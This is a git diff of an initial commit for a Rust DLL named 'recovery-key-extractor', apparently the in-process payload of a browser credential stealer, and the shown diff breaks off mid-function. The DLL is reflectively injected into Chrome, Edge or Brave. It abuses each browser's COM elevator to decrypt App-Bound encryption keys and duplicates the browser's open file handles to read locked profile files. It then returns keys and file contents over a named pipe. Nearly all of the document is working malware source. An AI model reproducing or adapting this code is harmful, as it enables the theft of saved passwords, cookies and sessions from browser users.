initial commit
This commit is contained in:
@@ -0,0 +1,6 @@
|
||||
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
|
||||
# dependency at runtime. Only the GNU target is supported: the reflective
|
||||
# loader manually maps the image, and the MSVC CRT's TLS/CFG/stack-cookie
|
||||
# machinery fast-fails under a manual map.
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
@@ -0,0 +1 @@
|
||||
/target
|
||||
Generated
+7
@@ -0,0 +1,7 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "recovery-key-extractor"
|
||||
version = "0.1.0"
|
||||
@@ -0,0 +1,15 @@
|
||||
[package]
|
||||
name = "recovery-key-extractor"
|
||||
version = "0.1.0"
|
||||
edition = "2021"
|
||||
|
||||
[lib]
|
||||
name = "recovery_key_extractor"
|
||||
crate-type = ["cdylib"]
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
panic = "unwind"
|
||||
strip = true
|
||||
@@ -0,0 +1,138 @@
|
||||
//! Raw Win32 FFI declarations and constants used by the payload.
|
||||
//!
|
||||
//! These are resolved through the normal PE import table, which the reflective
|
||||
//! loader fixes up before DllMain runs.
|
||||
|
||||
#![allow(non_snake_case)]
|
||||
#![allow(non_camel_case_types)]
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
// ---- Handles / return codes ----
|
||||
pub const INVALID_HANDLE_VALUE: usize = usize::MAX;
|
||||
|
||||
// ---- CreateFileW ----
|
||||
pub const GENERIC_READ: u32 = 0x8000_0000;
|
||||
pub const GENERIC_WRITE: u32 = 0x4000_0000;
|
||||
pub const FILE_SHARE_READ: u32 = 0x1;
|
||||
pub const FILE_SHARE_WRITE: u32 = 0x2;
|
||||
pub const FILE_SHARE_DELETE: u32 = 0x4;
|
||||
pub const OPEN_EXISTING: u32 = 3;
|
||||
pub const FILE_ATTRIBUTE_NORMAL: u32 = 0x80;
|
||||
|
||||
// ---- GetFileType ----
|
||||
pub const FILE_TYPE_DISK: u32 = 0x0001;
|
||||
|
||||
// ---- DuplicateHandle ----
|
||||
pub const DUPLICATE_SAME_ACCESS: u32 = 0x0000_0002;
|
||||
|
||||
// ---- Errors ----
|
||||
pub const ERROR_SHARING_VIOLATION: u32 = 32;
|
||||
|
||||
// ---- GetFileSize ----
|
||||
pub const INVALID_FILE_SIZE: u32 = 0xFFFF_FFFF;
|
||||
|
||||
// ---- COM ----
|
||||
pub const COINIT_APARTMENTTHREADED: u32 = 0x2;
|
||||
pub const CLSCTX_LOCAL_SERVER: u32 = 0x4;
|
||||
pub const RPC_C_AUTHN_DEFAULT: u32 = 0xFFFF_FFFF;
|
||||
pub const RPC_C_AUTHZ_DEFAULT: u32 = 0xFFFF_FFFF;
|
||||
pub const RPC_C_AUTHN_LEVEL_PKT_PRIVACY: u32 = 6;
|
||||
pub const RPC_C_IMP_LEVEL_IMPERSONATE: u32 = 3;
|
||||
pub const EOAC_DYNAMIC_CLOAKING: u32 = 0x40;
|
||||
pub const RPC_E_CHANGED_MODE: i32 = 0x8001_0106u32 as i32;
|
||||
|
||||
// ---- GUID ----
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct GUID {
|
||||
pub data1: u32,
|
||||
pub data2: u16,
|
||||
pub data3: u16,
|
||||
pub data4: [u8; 8],
|
||||
}
|
||||
|
||||
#[link(name = "kernel32")]
|
||||
extern "system" {
|
||||
pub fn DisableThreadLibraryCalls(hLibModule: usize) -> i32;
|
||||
pub fn GetEnvironmentVariableW(
|
||||
lpName: *const u16,
|
||||
lpBuffer: *mut u16,
|
||||
nSize: u32,
|
||||
) -> u32;
|
||||
pub fn CreateFileW(
|
||||
lpFileName: *const u16,
|
||||
dwDesiredAccess: u32,
|
||||
dwShareMode: u32,
|
||||
lpSecurityAttributes: *mut c_void,
|
||||
dwCreationDisposition: u32,
|
||||
dwFlagsAndAttributes: u32,
|
||||
hTemplateFile: usize,
|
||||
) -> usize;
|
||||
pub fn ReadFile(
|
||||
hFile: usize,
|
||||
lpBuffer: *mut c_void,
|
||||
nNumberOfBytesToRead: u32,
|
||||
lpNumberOfBytesRead: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
pub fn WriteFile(
|
||||
hFile: usize,
|
||||
lpBuffer: *const c_void,
|
||||
nNumberOfBytesToWrite: u32,
|
||||
lpNumberOfBytesWritten: *mut u32,
|
||||
lpOverlapped: *mut c_void,
|
||||
) -> i32;
|
||||
pub fn FlushFileBuffers(hFile: usize) -> i32;
|
||||
pub fn CloseHandle(hObject: usize) -> i32;
|
||||
pub fn GetFileType(hFile: usize) -> u32;
|
||||
pub fn GetFinalPathNameByHandleW(
|
||||
hFile: usize,
|
||||
lpszFilePath: *mut u16,
|
||||
cchFilePath: u32,
|
||||
dwFlags: u32,
|
||||
) -> u32;
|
||||
pub fn DuplicateHandle(
|
||||
hSourceProcessHandle: usize,
|
||||
hSourceHandle: usize,
|
||||
hTargetProcessHandle: usize,
|
||||
lpTargetHandle: *mut usize,
|
||||
dwDesiredAccess: u32,
|
||||
bInheritHandle: i32,
|
||||
dwOptions: u32,
|
||||
) -> i32;
|
||||
pub fn GetCurrentProcess() -> usize;
|
||||
pub fn GetFileSize(hFile: usize, lpFileSizeHigh: *mut u32) -> u32;
|
||||
pub fn GetLastError() -> u32;
|
||||
}
|
||||
|
||||
#[link(name = "ole32")]
|
||||
extern "system" {
|
||||
pub fn CoInitializeEx(pvReserved: *mut c_void, dwCoInit: u32) -> i32;
|
||||
pub fn CoUninitialize();
|
||||
pub fn CoCreateInstance(
|
||||
rclsid: *const GUID,
|
||||
pUnkOuter: *mut c_void,
|
||||
dwClsContext: u32,
|
||||
riid: *const GUID,
|
||||
ppv: *mut *mut c_void,
|
||||
) -> i32;
|
||||
pub fn CoSetProxyBlanket(
|
||||
pProxy: *mut c_void,
|
||||
dwAuthnSvc: u32,
|
||||
dwAuthzSvc: u32,
|
||||
pServerPrincName: *mut u16,
|
||||
dwAuthnLevel: u32,
|
||||
dwImpLevel: u32,
|
||||
pAuthInfo: *mut c_void,
|
||||
dwCapabilities: u32,
|
||||
) -> i32;
|
||||
}
|
||||
|
||||
#[link(name = "oleaut32")]
|
||||
extern "system" {
|
||||
pub fn SysAllocStringByteLen(psz: *const u8, len: u32) -> *mut u16;
|
||||
pub fn SysFreeString(bstrString: *mut u16);
|
||||
pub fn SysStringByteLen(bstrString: *mut u16) -> u32;
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
//! recovery-key-extractor — Rust port of the injected browser key extractor.
|
||||
//!
|
||||
//! On DLL_PROCESS_ATTACH the DLL reads the `RECOVERY_PIPE` environment
|
||||
//! variable and spawns a worker thread that services `KEY:`/`READ:`/`EXIT`
|
||||
//! commands over that named pipe. The DLL is reflectively mapped into the
|
||||
//! browser process by the Go injector, which starts a thread on the exported
|
||||
//! `ReflectiveLoader` entry point; that loader (see `reflective.rs`) maps the
|
||||
//! image, resolves imports and relocations, and finally invokes `DllMain`.
|
||||
|
||||
#![allow(clippy::missing_safety_doc)]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
mod abi;
|
||||
mod payload;
|
||||
mod reflective;
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
const DLL_PROCESS_ATTACH: u32 = 1;
|
||||
|
||||
#[unsafe(no_mangle)]
|
||||
pub extern "system" fn DllMain(h_instance: *mut c_void, reason: u32, reserved: *mut c_void) -> i32 {
|
||||
if reason == DLL_PROCESS_ATTACH {
|
||||
unsafe {
|
||||
let _ = abi::DisableThreadLibraryCalls(h_instance as usize);
|
||||
}
|
||||
payload::on_attach(reserved as *const u16);
|
||||
}
|
||||
1
|
||||
}
|
||||
|
||||
/// Reflective loader entry point. The Go injector resolves this export by name
|
||||
/// and starts a thread on it inside the target process.
|
||||
#[unsafe(no_mangle)]
|
||||
#[inline(never)]
|
||||
pub extern "system" fn ReflectiveLoader(lpParameter: usize) -> usize {
|
||||
reflective::loader_impl(lpParameter)
|
||||
}
|
||||
@@ -0,0 +1,606 @@
|
||||
//! Injected-payload logic, ported from key_extractor.cpp.
|
||||
//!
|
||||
//! On attach the payload reads the pipe name from the `RECOVERY_PIPE`
|
||||
//! environment variable and spawns a worker thread that services a length-
|
||||
//! prefixed protocol: `KEY:browser:base64` (App-Bound/v20 key decryption via
|
||||
//! the browser's COM elevator) and `READ:path` (read a file, transparently
|
||||
//! duplicating the owning process's open handle on a sharing violation).
|
||||
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi::{self, GUID};
|
||||
|
||||
const MAX_MSG: u32 = 16384;
|
||||
const MAX_FILE: u32 = 50 * 1024 * 1024; // 50MB
|
||||
const ENV_BUF: u32 = 512;
|
||||
const PATH_BUF: usize = 32768;
|
||||
|
||||
// ---- OVERLAPPED (x64 layout) ----
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
struct Overlapped {
|
||||
internal: usize,
|
||||
internal_high: usize,
|
||||
offset: u32,
|
||||
offset_high: u32,
|
||||
h_event: usize,
|
||||
}
|
||||
|
||||
impl Overlapped {
|
||||
fn zeroed() -> Self {
|
||||
Overlapped {
|
||||
internal: 0,
|
||||
internal_high: 0,
|
||||
offset: 0,
|
||||
offset_high: 0,
|
||||
h_event: 0,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- base64 decode (standard, padded) ----
|
||||
|
||||
fn b64_val(c: u8) -> i32 {
|
||||
match c {
|
||||
b'A'..=b'Z' => (c - b'A') as i32,
|
||||
b'a'..=b'z' => (c - b'a' + 26) as i32,
|
||||
b'0'..=b'9' => (c - b'0' + 52) as i32,
|
||||
b'+' => 62,
|
||||
b'/' => 63,
|
||||
_ => -1,
|
||||
}
|
||||
}
|
||||
|
||||
fn base64_decode(s: &[u8]) -> Vec<u8> {
|
||||
let mut out = Vec::new();
|
||||
let mut acc: u32 = 0;
|
||||
let mut bits: u32 = 0;
|
||||
for &c in s {
|
||||
if c == b'=' {
|
||||
break;
|
||||
}
|
||||
let v = b64_val(c);
|
||||
if v < 0 {
|
||||
continue;
|
||||
}
|
||||
acc = (acc << 6) | v as u32;
|
||||
bits += 6;
|
||||
if bits >= 8 {
|
||||
bits -= 8;
|
||||
out.push((acc >> bits) as u8);
|
||||
}
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
// ---- wide / utf helpers ----
|
||||
|
||||
fn utf8_to_wide(bytes: &[u8]) -> Vec<u16> {
|
||||
let s = String::from_utf8_lossy(bytes);
|
||||
let mut v: Vec<u16> = s.encode_utf16().collect();
|
||||
v.push(0);
|
||||
v
|
||||
}
|
||||
|
||||
fn ascii_eq_ignore_case(a: &[u8], b: &[u8]) -> bool {
|
||||
if a.len() != b.len() {
|
||||
return false;
|
||||
}
|
||||
a.iter().zip(b.iter()).all(|(&x, &y)| x.to_ascii_lowercase() == y.to_ascii_lowercase())
|
||||
}
|
||||
|
||||
/// Case-sensitive wide substring search (matches the C `wcsstr` behavior).
|
||||
fn wide_contains(haystack: &[u16], needle: &[u16]) -> bool {
|
||||
if needle.is_empty() {
|
||||
return true;
|
||||
}
|
||||
if haystack.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
(0..=haystack.len() - needle.len()).any(|i| &haystack[i..i + needle.len()] == needle)
|
||||
}
|
||||
|
||||
// ---- pipe helpers ----
|
||||
|
||||
unsafe fn pipe_read_exact(h: usize, buf: *mut u8, len: u32) -> bool {
|
||||
let mut off = 0u32;
|
||||
while off < len {
|
||||
let mut rd = 0u32;
|
||||
let ok = abi::ReadFile(
|
||||
h,
|
||||
buf.add(off as usize) as *mut c_void,
|
||||
len - off,
|
||||
&mut rd,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if ok == 0 || rd == 0 {
|
||||
return false;
|
||||
}
|
||||
off += rd;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
unsafe fn pipe_write_all(h: usize, buf: *const u8, len: u32) -> bool {
|
||||
let mut off = 0u32;
|
||||
while off < len {
|
||||
let mut wr = 0u32;
|
||||
let ok = abi::WriteFile(
|
||||
h,
|
||||
buf.add(off as usize) as *const c_void,
|
||||
len - off,
|
||||
&mut wr,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if ok == 0 || wr == 0 {
|
||||
return false;
|
||||
}
|
||||
off += wr;
|
||||
}
|
||||
true
|
||||
}
|
||||
|
||||
unsafe fn send_response(h: usize, status: u8, data: &[u8]) -> bool {
|
||||
let total = 1u32 + data.len() as u32;
|
||||
let len_bytes = total.to_le_bytes();
|
||||
if !pipe_write_all(h, len_bytes.as_ptr(), 4) {
|
||||
return false;
|
||||
}
|
||||
if !pipe_write_all(h, &status as *const u8, 1) {
|
||||
return false;
|
||||
}
|
||||
if !data.is_empty() && !pipe_write_all(h, data.as_ptr(), data.len() as u32) {
|
||||
return false;
|
||||
}
|
||||
abi::FlushFileBuffers(h);
|
||||
true
|
||||
}
|
||||
|
||||
// ---- COM elevator (IElevator / IEdgeElevator) ----
|
||||
|
||||
// Chrome/Brave: IUnknown + RunRecoveryCRXElevated + EncryptData + DecryptData
|
||||
#[repr(C)]
|
||||
struct IElevatorVtbl {
|
||||
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
|
||||
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
release: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
run_recovery_crx_elevated: unsafe extern "system" fn(
|
||||
*mut c_void,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
u32,
|
||||
*mut usize,
|
||||
) -> i32,
|
||||
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
}
|
||||
|
||||
// Edge: IUnknown + 3 base methods + RunRecoveryCRXElevated + EncryptData + DecryptData
|
||||
#[repr(C)]
|
||||
struct IEdgeElevatorVtbl {
|
||||
query_interface: unsafe extern "system" fn(*mut c_void, *const GUID, *mut *mut c_void) -> i32,
|
||||
add_ref: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
release: unsafe extern "system" fn(*mut c_void) -> u32,
|
||||
edge_method1: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
edge_method2: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
edge_method3: unsafe extern "system" fn(*mut c_void) -> i32,
|
||||
run_recovery_crx_elevated: unsafe extern "system" fn(
|
||||
*mut c_void,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
*const u16,
|
||||
u32,
|
||||
*mut usize,
|
||||
) -> i32,
|
||||
encrypt_data: unsafe extern "system" fn(*mut c_void, u32, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
decrypt_data: unsafe extern "system" fn(*mut c_void, *mut u16, *mut *mut u16, *mut u32) -> i32,
|
||||
}
|
||||
|
||||
const CLSID_CHROME: GUID = GUID {
|
||||
data1: 0x708860E0,
|
||||
data2: 0xF641,
|
||||
data3: 0x4611,
|
||||
data4: [0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B],
|
||||
};
|
||||
const IID_CHROME: GUID = GUID {
|
||||
data1: 0x463ABECF,
|
||||
data2: 0x410D,
|
||||
data3: 0x407F,
|
||||
data4: [0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8],
|
||||
};
|
||||
const IID_CHROME2: GUID = GUID {
|
||||
data1: 0x1BF5208B,
|
||||
data2: 0x295F,
|
||||
data3: 0x4992,
|
||||
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
|
||||
};
|
||||
|
||||
const CLSID_EDGE: GUID = GUID {
|
||||
data1: 0x1FCBE96C,
|
||||
data2: 0x1697,
|
||||
data3: 0x43AF,
|
||||
data4: [0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67],
|
||||
};
|
||||
const IID_EDGE: GUID = GUID {
|
||||
data1: 0xC9C2B807,
|
||||
data2: 0x7731,
|
||||
data3: 0x4F34,
|
||||
data4: [0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B],
|
||||
};
|
||||
const IID_EDGE2: GUID = GUID {
|
||||
data1: 0x8F7B6792,
|
||||
data2: 0x784D,
|
||||
data3: 0x4047,
|
||||
data4: [0x84, 0x5D, 0x17, 0x82, 0xEF, 0xBE, 0xF2, 0x05],
|
||||
};
|
||||
|
||||
const CLSID_BRAVE: GUID = GUID {
|
||||
data1: 0x576B31AF,
|
||||
data2: 0x6369,
|
||||
data3: 0x4B6B,
|
||||
data4: [0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B],
|
||||
};
|
||||
const IID_BRAVE: GUID = GUID {
|
||||
data1: 0xF396861E,
|
||||
data2: 0x0C8E,
|
||||
data3: 0x4C71,
|
||||
data4: [0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9],
|
||||
};
|
||||
const IID_BRAVE2: GUID = GUID {
|
||||
data1: 0x1BF5208B,
|
||||
data2: 0x295F,
|
||||
data3: 0x4992,
|
||||
data4: [0xB5, 0xF4, 0x3A, 0x9B, 0xB6, 0x49, 0x48, 0x38],
|
||||
};
|
||||
|
||||
const COLE_DEFAULT_PRINCIPAL: *mut u16 = usize::MAX as *mut u16;
|
||||
|
||||
unsafe fn set_proxy_blanket(ptr: *mut c_void) {
|
||||
abi::CoSetProxyBlanket(
|
||||
ptr,
|
||||
abi::RPC_C_AUTHN_DEFAULT,
|
||||
abi::RPC_C_AUTHZ_DEFAULT,
|
||||
COLE_DEFAULT_PRINCIPAL,
|
||||
abi::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
abi::RPC_C_IMP_LEVEL_IMPERSONATE,
|
||||
ptr::null_mut(),
|
||||
abi::EOAC_DYNAMIC_CLOAKING,
|
||||
);
|
||||
}
|
||||
|
||||
unsafe fn decrypt_chrome(
|
||||
clsid: GUID,
|
||||
iid: GUID,
|
||||
iid2: GUID,
|
||||
bstr: *mut u16,
|
||||
out: *mut *mut u16,
|
||||
err: *mut u32,
|
||||
) -> i32 {
|
||||
let mut ptr: *mut c_void = ptr::null_mut();
|
||||
let mut hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid2, &mut ptr);
|
||||
if hr < 0 {
|
||||
hr = abi::CoCreateInstance(&clsid, ptr::null_mut(), abi::CLSCTX_LOCAL_SERVER, &iid, &mut ptr);
|
||||
}
|
||||
if hr < 0 || ptr.is_null() {
|
||||
return hr;
|
||||
}
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
hr
|
||||
}
|
||||
|
||||
unsafe fn decrypt_edge(bstr: *mut u16, out: *mut *mut u16, err: *mut u32) -> i32 {
|
||||
// Try IEdgeElevator2 first, then IEdgeElevator (same vtable layout).
|
||||
let mut ptr: *mut c_void = ptr::null_mut();
|
||||
let mut hr = abi::CoCreateInstance(
|
||||
&CLSID_EDGE,
|
||||
ptr::null_mut(),
|
||||
abi::CLSCTX_LOCAL_SERVER,
|
||||
&IID_EDGE2,
|
||||
&mut ptr,
|
||||
);
|
||||
if hr >= 0 && !ptr.is_null() {
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
if hr >= 0 && !(*out).is_null() {
|
||||
return hr;
|
||||
}
|
||||
}
|
||||
|
||||
ptr = ptr::null_mut();
|
||||
hr = abi::CoCreateInstance(
|
||||
&CLSID_EDGE,
|
||||
ptr::null_mut(),
|
||||
abi::CLSCTX_LOCAL_SERVER,
|
||||
&IID_EDGE,
|
||||
&mut ptr,
|
||||
);
|
||||
if hr < 0 || ptr.is_null() {
|
||||
return hr;
|
||||
}
|
||||
set_proxy_blanket(ptr);
|
||||
let vtbl = *(ptr as *const *const IEdgeElevatorVtbl);
|
||||
hr = ((*vtbl).decrypt_data)(ptr, bstr, out, err);
|
||||
((*vtbl).release)(ptr);
|
||||
hr
|
||||
}
|
||||
|
||||
fn decrypt_via_elevator(enc: &[u8], browser: &[u8]) -> Option<Vec<u8>> {
|
||||
unsafe {
|
||||
let hr = abi::CoInitializeEx(ptr::null_mut(), abi::COINIT_APARTMENTTHREADED);
|
||||
if hr < 0 && hr != abi::RPC_E_CHANGED_MODE {
|
||||
return None;
|
||||
}
|
||||
|
||||
let bstr_enc = abi::SysAllocStringByteLen(enc.as_ptr(), enc.len() as u32);
|
||||
if bstr_enc.is_null() {
|
||||
abi::CoUninitialize();
|
||||
return None;
|
||||
}
|
||||
|
||||
let mut bstr_plain: *mut u16 = ptr::null_mut();
|
||||
let mut com_err: u32 = 0;
|
||||
|
||||
let hr2 = if ascii_eq_ignore_case(browser, b"edge") {
|
||||
decrypt_edge(bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
} else if ascii_eq_ignore_case(browser, b"brave") {
|
||||
decrypt_chrome(CLSID_BRAVE, IID_BRAVE, IID_BRAVE2, bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
} else {
|
||||
decrypt_chrome(CLSID_CHROME, IID_CHROME, IID_CHROME2, bstr_enc, &mut bstr_plain, &mut com_err)
|
||||
};
|
||||
|
||||
abi::SysFreeString(bstr_enc);
|
||||
|
||||
let result = if hr2 >= 0 && !bstr_plain.is_null() {
|
||||
let len = abi::SysStringByteLen(bstr_plain);
|
||||
if len > 0 && len <= 64 {
|
||||
let mut key = vec![0u8; len as usize];
|
||||
ptr::copy_nonoverlapping(bstr_plain as *const u8, key.as_mut_ptr(), len as usize);
|
||||
Some(key)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !bstr_plain.is_null() {
|
||||
abi::SysFreeString(bstr_plain);
|
||||
}
|
||||
abi::CoUninitialize();
|
||||
result
|
||||
}
|
||||
}
|
||||
|
||||
// ---- READ handler ----
|
||||
|
||||
/// Brute-force the owning process's open file handle by walking handle values
|
||||
/// and matching the DOS path (ported from `find_open_handle`).
|
||||
unsafe fn find_open_handle(target_path: &[u16]) -> usize {
|
||||
let mut sep_count = 0;
|
||||
let mut suffix_start = 0usize;
|
||||
let mut i = target_path.len();
|
||||
while i > 0 && sep_count < 2 {
|
||||
i -= 1;
|
||||
if target_path[i] == b'\\' as u16 {
|
||||
sep_count += 1;
|
||||
if sep_count == 2 {
|
||||
suffix_start = i;
|
||||
}
|
||||
}
|
||||
}
|
||||
let suffix = &target_path[suffix_start..];
|
||||
|
||||
let mut h = 4usize;
|
||||
while h < 0x10000 {
|
||||
if abi::GetFileType(h) == abi::FILE_TYPE_DISK {
|
||||
let mut name = [0u16; PATH_BUF];
|
||||
let len = abi::GetFinalPathNameByHandleW(h, name.as_mut_ptr(), PATH_BUF as u32, 0);
|
||||
if len > 0 && (len as usize) < PATH_BUF {
|
||||
let slice = &name[..len as usize];
|
||||
if wide_contains(slice, suffix) {
|
||||
let mut dup = 0usize;
|
||||
if abi::DuplicateHandle(
|
||||
abi::GetCurrentProcess(),
|
||||
h,
|
||||
abi::GetCurrentProcess(),
|
||||
&mut dup,
|
||||
0,
|
||||
0,
|
||||
abi::DUPLICATE_SAME_ACCESS,
|
||||
) != 0
|
||||
{
|
||||
return dup;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
h += 4;
|
||||
}
|
||||
abi::INVALID_HANDLE_VALUE
|
||||
}
|
||||
|
||||
unsafe fn handle_read(h: usize, utf8path: &[u8]) {
|
||||
let wide = utf8_to_wide(utf8path);
|
||||
let mut hfile = abi::CreateFileW(
|
||||
wide.as_ptr(),
|
||||
abi::GENERIC_READ,
|
||||
abi::FILE_SHARE_READ | abi::FILE_SHARE_WRITE | abi::FILE_SHARE_DELETE,
|
||||
ptr::null_mut(),
|
||||
abi::OPEN_EXISTING,
|
||||
abi::FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
);
|
||||
|
||||
let mut via_dup = false;
|
||||
if hfile == abi::INVALID_HANDLE_VALUE && abi::GetLastError() == abi::ERROR_SHARING_VIOLATION {
|
||||
hfile = find_open_handle(&wide[..wide.len() - 1]);
|
||||
via_dup = true;
|
||||
}
|
||||
|
||||
if hfile == abi::INVALID_HANDLE_VALUE {
|
||||
send_response(h, 1, b"open failed");
|
||||
return;
|
||||
}
|
||||
|
||||
let size = abi::GetFileSize(hfile, ptr::null_mut());
|
||||
if size == abi::INVALID_FILE_SIZE || size > MAX_FILE {
|
||||
abi::CloseHandle(hfile);
|
||||
send_response(h, 1, b"bad size");
|
||||
return;
|
||||
}
|
||||
|
||||
let mut data = vec![0u8; size as usize];
|
||||
let mut rd = 0u32;
|
||||
let ok = if via_dup {
|
||||
let mut ov = Overlapped::zeroed();
|
||||
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, &mut ov as *mut Overlapped as *mut c_void) != 0
|
||||
&& rd == size
|
||||
} else {
|
||||
abi::ReadFile(hfile, data.as_mut_ptr() as *mut c_void, size, &mut rd, ptr::null_mut()) != 0
|
||||
&& rd == size
|
||||
};
|
||||
abi::CloseHandle(hfile);
|
||||
|
||||
if ok {
|
||||
send_response(h, 0, &data);
|
||||
} else if via_dup {
|
||||
send_response(h, 1, b"dup read fail");
|
||||
} else {
|
||||
send_response(h, 1, b"read fail");
|
||||
}
|
||||
}
|
||||
|
||||
// ---- KEY handler ----
|
||||
|
||||
unsafe fn handle_key(h: usize, args: &[u8]) {
|
||||
let Some(pos) = args.iter().position(|&c| c == b':') else {
|
||||
send_response(h, 1, b"bad format");
|
||||
return;
|
||||
};
|
||||
let (browser, b64) = args.split_at(pos);
|
||||
let enc = base64_decode(&b64[1..]);
|
||||
if enc.len() < 5 {
|
||||
send_response(h, 1, b"small key");
|
||||
return;
|
||||
}
|
||||
match decrypt_via_elevator(&enc, browser) {
|
||||
Some(key) => {
|
||||
send_response(h, 0, &key);
|
||||
}
|
||||
None => {
|
||||
send_response(h, 1, b"decrypt failed");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---- worker thread ----
|
||||
|
||||
unsafe fn worker(pipe: &[u16]) -> u32 {
|
||||
let h = abi::CreateFileW(
|
||||
pipe.as_ptr(),
|
||||
abi::GENERIC_READ | abi::GENERIC_WRITE,
|
||||
0,
|
||||
ptr::null_mut(),
|
||||
abi::OPEN_EXISTING,
|
||||
0,
|
||||
0,
|
||||
);
|
||||
if h == abi::INVALID_HANDLE_VALUE {
|
||||
return 1;
|
||||
}
|
||||
|
||||
loop {
|
||||
let mut msg_len: u32 = 0;
|
||||
if !pipe_read_exact(h, &mut msg_len as *mut u32 as *mut u8, 4)
|
||||
|| msg_len == 0
|
||||
|| msg_len > MAX_MSG
|
||||
{
|
||||
break;
|
||||
}
|
||||
let mut msg = vec![0u8; msg_len as usize];
|
||||
if !pipe_read_exact(h, msg.as_mut_ptr(), msg_len) {
|
||||
break;
|
||||
}
|
||||
|
||||
if msg.len() >= 4 && &msg[..4] == b"KEY:" {
|
||||
handle_key(h, &msg[4..]);
|
||||
} else if msg.len() >= 5 && &msg[..5] == b"READ:" {
|
||||
handle_read(h, &msg[5..]);
|
||||
} else if msg.len() >= 4 && &msg[..4] == b"EXIT" {
|
||||
break;
|
||||
} else {
|
||||
send_response(h, 1, b"unknown");
|
||||
}
|
||||
}
|
||||
|
||||
abi::CloseHandle(h);
|
||||
0
|
||||
}
|
||||
|
||||
fn read_env_wide(name: &str) -> Option<Vec<u16>> {
|
||||
let mut name_w: Vec<u16> = name.encode_utf16().collect();
|
||||
name_w.push(0);
|
||||
let mut buf = vec![0u16; ENV_BUF as usize];
|
||||
unsafe {
|
||||
let len = abi::GetEnvironmentVariableW(name_w.as_ptr(), buf.as_mut_ptr(), ENV_BUF);
|
||||
if len == 0 || len >= ENV_BUF {
|
||||
return None;
|
||||
}
|
||||
buf.truncate(len as usize);
|
||||
Some(buf)
|
||||
}
|
||||
}
|
||||
|
||||
/// Read a NUL-terminated UTF-16 string from a pointer (the pipe name passed
|
||||
/// through lpParameter by the injector).
|
||||
fn read_wide_from_ptr(p: *const u16) -> Option<Vec<u16>> {
|
||||
if p.is_null() {
|
||||
return None;
|
||||
}
|
||||
let mut v = Vec::new();
|
||||
let mut i = 0usize;
|
||||
unsafe {
|
||||
loop {
|
||||
let c = *p.add(i);
|
||||
if c == 0 {
|
||||
break;
|
||||
}
|
||||
v.push(c);
|
||||
i += 1;
|
||||
if i > 4096 {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
}
|
||||
if v.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(v)
|
||||
}
|
||||
}
|
||||
|
||||
pub fn on_attach(lp_param: *const u16) {
|
||||
// Prefer the pipe name passed in memory by the injector (works for running
|
||||
// browsers); fall back to the inherited env var for spawned headless ones.
|
||||
let pipe = read_wide_from_ptr(lp_param)
|
||||
.or_else(|| read_env_wide("RECOVERY_PIPE"));
|
||||
